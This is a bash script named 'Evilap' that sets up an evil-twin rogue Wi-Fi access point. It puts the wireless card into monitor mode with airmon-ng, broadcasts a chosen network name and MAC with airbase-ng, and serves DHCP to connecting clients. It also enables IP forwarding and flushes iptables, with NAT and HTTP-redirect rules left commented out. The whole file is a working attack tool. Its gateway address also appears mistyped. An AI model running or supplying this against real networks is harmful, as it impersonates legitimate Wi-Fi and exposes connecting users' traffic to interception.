#!/bin/bash

version='1.1.1'

### Install script if not installed
if [ ! -e "/usr/bin/evilap" ];then
	clear
        echo -e "[ Installing Evilap-$version !... ]"
	sleep 5
                cp -v $0 /usr/bin/evilap
                chmod +x /usr/bin/evilap
	clear
	echo -e "[-] Evilap-$version should now be installed"
	sleep 2
	clear
	echo -e "[ Starting Evilap-$version !... ]"
	sleep 5
	clear
else
	clear
        echo -e "[ Starting Evilap-$version !... ]"
        sleep 5
	clear
fi
### End of install process

gateway=$(ip route show | awk '(NR == 2) {print $1}')
iface=$(ip route show | awk '(NR == 2) {print $3}')
lanip=$(ip route show | awk '(NR == 2) {print $9}')
location=$(pwd)
xiface="wlan0"
miface="mon0"
chan="1-14"
essid="Network Name"
bssid="Netword MacAddr"

echo -e " Script by       : ardikars"
echo -e " Version         : \e[34m$version\e[0m "
echo -e " Evilap Location : \e[35m$location\e[0m"
echo
echo -e " RESPECT CODER"
echo
echo -e " Connection Info :----------------------------------------------------"
echo
echo -e " Gateway: \e[31m$gateway\e[0m    Interface: \e[32m$iface\e[0m    My LAN Ip: \e[33m$lanip\e[0m "
echo

echo
echo -e "[ Creating DHCPD configuration file !... ]"

echo 'ddns-update-style none;' > /etc/dhcp/dhcpd.conf
echo 'default-lease-time 600;' >> /etc/dhcp/dhcpd.conf
echo 'max-lease-time 7200;' >> /etc/dhcp/dhcpd.conf
echo 'subnet 192.168.1.0 netmask 255.255.255.0 {' >> /etc/dhcp/dhcpd.conf
echo 'option subnet-mask 255.255.255.0;' >> /etc/dhcp/dhcpd.conf
echo 'option broadcast-address 192.168.1.255;' >> /etc/dhcp/dhcpd.conf
echo 'option routers 192.169.1.1;' >> /etc/dhcp/dhcpd.conf
echo 'option domain-name-servers 8.8.8.8;' >> /etc/dhcp/dhcpd.conf
echo 'range 192.168.1.100 192.168.1.110;}' >> /etc/dhcp/dhcpd.conf
sleep 2
echo -e "\e[36m[-] Success !... \e[0m"
echo
echo -e "[ Creating monitor mode interface !... ]"
echo
echo -e ">> Interface (\e[30m$xiface\e[0m) : "
read iface

echo -e ">> Channel (\e[30m$chan\e[0m) : "
read c

airmon-ng start $iface $c

sleep 5

echo -e "\e[36m[-] Success !... \e[0m"
echo

echo -e "[ Creating Access Point !... ]"

echo -e ">> ESSID (\e[30m$essid\e[0m) : "
read e

echo -e ">> BSSID (\e[30m$bssid\e[0m) : "
read a

echo -e ">> Monitor mode interface (\e[30m$miface\e[0m) : "
read i

xterm -e "airbase-ng --essid $e -c $c -a $a $i" &

sleep 10

echo -e "\e[36m[-] Success !... \e[0m"
echo

ifconfig at0 up

ifconfig at0 192.168.1.1 netmask 255.255.255.0

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

echo -e "[ Starting dhcpd !... ]"
echo
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid     # service isc-dhcp-server restart

sleep 2
echo
echo -e "\e[36m[-] Success !... \e[0m"

echo 1 | tee /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
#iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
#iptables --append FORWARD --in-interface at0 -j ACCEPT
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
#iptables -t nat -A POSTROUTING -j MASQUERADE
